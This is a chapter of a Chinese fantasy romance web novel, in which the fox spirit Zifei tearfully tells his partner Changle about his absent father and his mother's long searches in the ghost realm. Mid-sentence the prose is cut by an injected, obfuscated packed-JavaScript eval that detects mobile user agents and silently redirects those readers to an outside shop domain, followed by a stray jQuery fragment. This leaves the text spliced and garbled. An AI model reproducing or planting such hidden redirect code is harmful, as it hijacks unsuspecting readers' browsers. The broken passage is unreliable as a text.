阴郁沉沉十年期,两界茫茫何处寻?子斐其实也只是因着这个,让他想起一些小时候的事,心中虽然有伤感,但毕竟时间太久。
那时他也太小,世界里除了这些伤心的事,更多的是单纯的快乐,那些伤感留到现在,也已不是多么了不起的情绪了。
而且,那些事虽是他亲身经历,可根本上,十分伤心的也不是他。
子斐一直认为,自己只是因心疼那人,才会在现在想起这些就还有止不住的一点感伤。
可这时见到常乐看着他,那带着绵绵关切体贴的眼神,听她嘴里吐出温柔的话,和手上止住他开口的,与他体温明显不同的温热柔软的指尖。
这些都让他心中的伤感莫名被放大了十分百分!
他咬着内唇,眼中‘刷’的一下就聚起大颗大颗的泪水滚砸下来!
子斐看见滴在常乐玉白手背上的泪花,不免觉得自己实在太过矫情,忙将那黑种子往常乐怀里一塞,两下抹了泪,绕过常乐就往内室匆匆而去。
常乐忙追过去,只看到他猛的一头扎在床上,趴在那就不动弹了。
她顿了一下,才慢慢走到床边,坐了下去,弯身伏在子斐背上,温声安慰他:
“好了好了,咱们不说这个了,乖,不伤心了啊~”
子斐捉住常乐在他后脑上抚摸的手,握在手心里,哽咽道:
“我又不是小孩儿了,别摸我的头~”
“好,我不摸了~”常乐应下,面颊贴在他后背蹭了蹭,就住了声,静静的伏在他背上,随着他的呼吸,感受着他的心跳,室内一时只有及其细微,控制不住的呜咽声。
好一会,子斐细声细气,几乎只有些许气息而无声音的说:
“阿婵,你抱抱我好不好?”
要不是常乐正关注着他,这一声险些就错过去了,不过她即使听到了,也没出声。
只是悄悄的坐起身来,将子斐揽着趴在自己腰腹间。就这样揽着他,手上有一下没一下的拍着他的背。
“我从没见过我父亲!”许久,子斐才瓮声瓮气的说了这么一句。
而后子斐在常乐腹间胡乱蹭了蹭,这才转出脸来,抬眼看向低头向他看来的常乐:
“可笑的是,我明明没见过他,可我却即爱他,也恨他!
很奇怪是不是?但我爱他,是因为我每十年能和母亲在一起生活一段时间,全是因为他;
恨他,正是因为他不在了,我和母亲才只能十年一聚!”
子斐鼻子有些不太通顺,说了这么一小段,就撅着嘴,长长的吸了口气,又无声的,长长的吐出去,才又继续说:
“而我母亲,她好不容易出关,我多想带她到处玩玩,在阳光下给她说说,青丘这一个十年的天有多蓝,青丘上的灵花儿,又开了多少茬!
可是没时间!她不但需要处理积攒了十年的,族老不敢妄断之事,更需要安排下一个十年的重要的事!
需要做很多很多的,比和我说说话更重要的事!这一切...”
子斐抬起泪朦朦的凤眼看着常乐:“这一切,都是她为了好留够充足的时间!
好在接下来的日子里,在鬼界这样阴气森森的地界里,抱着一点微末的希望,日日寻他,寻我那素未谋面的父亲!
可等她带着失望再回去时,好容易养好一些的伤,却又重了两分!这些事情,自我拂开浑沌以来,一直都是这样的!”
常乐握着子斐的手,扣进他的手隙中,牢牢的和他十指相牵。
子斐手一动,就将常乐的手压在自己胸膛上,他沐浴在常乐柔和的目光里,又接着道:
“我幼时常想,他怎么就不能再强一些呢,不管怎么样,好歹留着一条命在,那我母亲,是不是就没有这么多遗憾和不平了?
我那时也想不通,常乐,我想不通母亲怎么会那么执着!
她为了一个已经不在了的人,让好不容易能和她相处一段时间的我,只有在穿过鬼界的生死结界,才能和她说上几句亲密些的话!
可是更多的,她都是在抓紧一切时间间隙,教导我分辨各种各样的灵材,分辨各类妖兽以及训练我的打斗技巧。
常乐,你知不知道,这让我对她的记忆,大部分都掺杂着阴沉黑暗的背景,就连做梦,她都不会出现在我的阳光里!”
子斐难得的,愿意和常乐多说两句他的母亲,虽然这不比他以往说起青丘其他趣事,来得让常乐感到由衷的快乐,却让她集中了所有精力,将他每一句都听进心里去。
之前她就一直在想,子斐在感情上怎么那么敏感又畏缩。
是的,她们俩在一起,虽然源于子斐的主动。
可这么些年相处下来,常乐对他当初的那点主动的勇气,早已了解的明明白白。
他那些大胆热情,不过就是建立在极强的直觉上的,先觉出常乐自己都还一点未曾发现的感情变化。
这在常乐看来,那就是开在镜中的花,挂在水中的月,全是假象,一吹就散!
实际上的子斐,对待起感情来,可一点没有继承他对于阵法的自信!
他骨子里,对于感情,就是个胆小敏感又懦弱的狐狸!
这么多年,常乐每每想治治他这毛病,可子斐除了青丘那些不能对外族人说的机密,对于青丘每一点快乐都清楚的和常乐分享过。
只要能说的,聊到兴起时,子斐什么都说,常乐甚至知道子斐房间,他自己琢磨着弄出来的,除了他谁也没法子的,那独特的十八种进入方法!
但,他甚少谈及父母,只有控制不住担心起他母亲时,他才会靠着常乐念叨两句。
也就真是念叨两句担心话,话中会透露的信息十分之少,少到常乐想从根源上掰掰他的感情观,这么多年来,却始终都有种无处下手的棘手之感。
常乐之所以说子斐对感情胆小懦弱,是按子斐的逻辑,和她在一起时,只要涉及到感情之事,但凡他大胆之时,就必是他直觉的从常乐身上,明晃晃的感觉到了十一分的纵容。
不然,平常两人再怎么要好,可再怎么样,子斐也绝不会对着常乐,表现出太过露骨的心
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150647|150311||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
底里的情绪来。
可即使是这样,子斐在情绪上头时,虽直白热烈的说着怎样爱常乐,但说到最后,总是会多要求一句,要常乐永远不要放开他的手!
这一点也是常乐为什么要将她发现自身的那件不对劲的事,给瞒得严严实实的原因。
即使知道子斐不喜她将这些涉及影响修为前程的重要事情瞒下不说,她也要藏得牢牢的,根本不敢被子斐察觉到分毫的根本原因!
不过,再怎么藏,对于枕边人来说,总会有露出马脚的时候,就像前两天出关前,在常乐自己根本没知觉的情况下,就露出了让子斐察觉到的无比心慌的冷意。
那现在也许有机会能在子斐身上找到撬开乌龟壳的方法,让常乐怎能不认真?
何况,这也一件是压在她心头多少年的老案子了!
是以,常乐现在的情绪,根本就无需她特意调动,自然而然的就流露出百分百的关切,即便以子斐现在正是极度的敏感的情绪,也察觉不出半点不对劲的破绽!
只听直直看着常乐双眼的子斐又颤声说:
“不过...”他透过朦朦的泪目,小心的看向常乐,抓着常乐给他抹泪的手,按在自己面颊上:
“常乐,我现在忽然懂了!如果,如果我是我母亲,想来做的要比她更加过分的~”
“不会的,我们家的阿斐的心是最善良不过的了,怎么会舍得让他的小宝贝过那样的生活呢?”常乐柔柔的笑道,又轻轻捏着子斐的腮帮子说:
“再说了,我的运气这么好,实力又强,不可能会发生那样的事的,阿斐,我们一定能一起登仙的!”
“呸呸呸~”子斐学着常乐之前的样子,连‘呸’了三声,轻轻打了下自己的嘴道:
“是我说糊涂了,这都是些什么样的胡言乱语!”
不过对于常乐说的小宝贝,子斐嗔了她一句:
“我们不是早就商量好了吗,再不要另外的小宝贝了。”
他又弯起泪眼看着常乐,带着浓浓的鼻音道:
“你说我是你的宝贝,常乐,那我的大宝贝、小宝贝全都是你,你也要一样的!”
常乐弯着杏眼,一眨也不眨的看着子斐,眼神柔得能掐出水光来,出口的声音也更加柔和的不像话:
“是啊,你是我的宝贝!阿斐宝贝,我就是要带你去鬼界啊,就算给不了你明媚温亮的阳光,那也会倾我所有,给你安排的舒舒服服,绝不会让你吃一点苦头的!”
“你、常乐!你就爱这样招我!”子斐好容易止住的眼泪水又决了堤,将头一把又埋进了常乐腹间。
常乐手指穿进子斐散开的发丝中,贴着他头上穴位轻轻按揉着,口中更加温柔的笑:
“看,宝贝,你是感觉得到的,你母亲她除了放不下你父亲,也是将你视若珍宝的!
她也无比的爱你,我想,阿斐,你的父亲若是一直在,他该是也像爱你母亲一样爱你,是吗?”
子斐抱着常乐哭了半响,好容易止了下来,才低低的应道:“嗯,我早就不恨他了。”